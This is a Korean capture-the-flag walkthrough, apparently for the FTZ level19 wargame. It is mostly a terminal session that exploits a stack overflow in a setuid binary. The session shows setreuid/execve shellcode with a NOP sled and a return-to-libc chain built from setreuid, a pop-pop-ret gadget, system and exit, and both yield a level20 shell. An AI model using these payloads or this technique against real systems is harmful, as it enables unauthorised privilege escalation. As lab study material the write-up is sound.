[level19@ftz tmp]$ export sh=`python -c 'print "\x90"*2000+"\x31\xc0\x89\xc1\x89\xc3\x66\xb9\x1c\x0c\x66\xbb\x1c\x0c\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\xb0\x01\xcd\x80"'`
[level19@ftz tmp]$ cat ./t.c
#include <stdio.h>
int main(){
printf("%#x\n",getenv("sh"));
return 0;
}
[level19@ftz tmp]$ gcc ./t.c
[level19@ftz tmp]$ ./a.out
0xbffff6ea
[level19@ftz tmp]$ (python -c 'print "A"*44+"\xea\xf6\xff\xbf"';cat)|../attackme
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAêöÿ¿
id
uid=3100(level20) gid=3099(level19) groups=3099(level19)
my-pass
TERM environment variable not set.
Level20 Password is "-- --- ---- ------- ----".
각 라이브러리 함수들의 주소
(gdb) r
Starting program: /home/level19/tmp/attackme
/bin/bash: /root/.bashrc: Permission denied
Breakpoint 1, 0x08048440 in main ()
(gdb) p setreuid
$1 = {<text variable, no debug info>} 0x420d7920 <setreuid>
(gdb) p system
$2 = {<text variable, no debug info>} 0x4203f2c0 <system>
(gdb) p exit
$3 = {<text variable, no debug info>} 0x42029bb0 <exit>
pop-pop-ret가젯의 주소
[level19@ftz tmp]$ objdump -d ./attackme | egrep 'pop|ret'
...
...
804846a: c3 ret
804849c: 58 pop %eax
804849d: 5b pop %ebx
804849e: 5d pop %ebp
804849f: c3 ret
80484a8: 5d pop %ebp
80484a9: c3 ret
80484ba: 5b pop %ebx
80484cd: c3 ret
"/bin/sh"의 주소
[level19@ftz tmp]$ cat ./t.c
#include <stdio.h>
int main(){
long sh = 0x4203f2c0;
while(memcmp((void *)sh,"/bin/sh",8))sh++;
printf("res:0x%x\n",sh);
return 0;
}
[level19@ftz tmp]$ gcc ./t.c
[level19@ftz tmp]$ ./a.out
res:0x42127ea4
소스파일 t.c는 "/bin/sh"문자열이 system함수 내에 존제하기때문에 system함수 주소를 1씩 높여가면서 "/bin/sh"와 비교하다가 일치하면 주소를 반환하는 프로그램이다.
(system함수 내부적으로 execve("/bin/sh",.....)를 수행하기 때문)
페이로드는 위에서 대략 설명한대로
[ 더미(44) | setreuid | PPR | 3100 | 3100 | system | exit | &"/bin/sh" ]
위와 같이 짜면된다
[level19@ftz tmp]$ (python -c 'print "A"*44+"\x20\x79\x0d\x42"+"\x9d\x84\x04\x08"+"\x1c\x0c\x00\x00"*2+"\xc0\xf2\x03\x42"+"\xb0\x9b\x02\x42"+"\xa4\x7e\x12\x42"';cat)|../attackme
BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA y
id
uid=3100(level20) gid=3099(level19) groups=3099(level19)
my-pass
Level20 Password is "-- --- ---- ------- ----".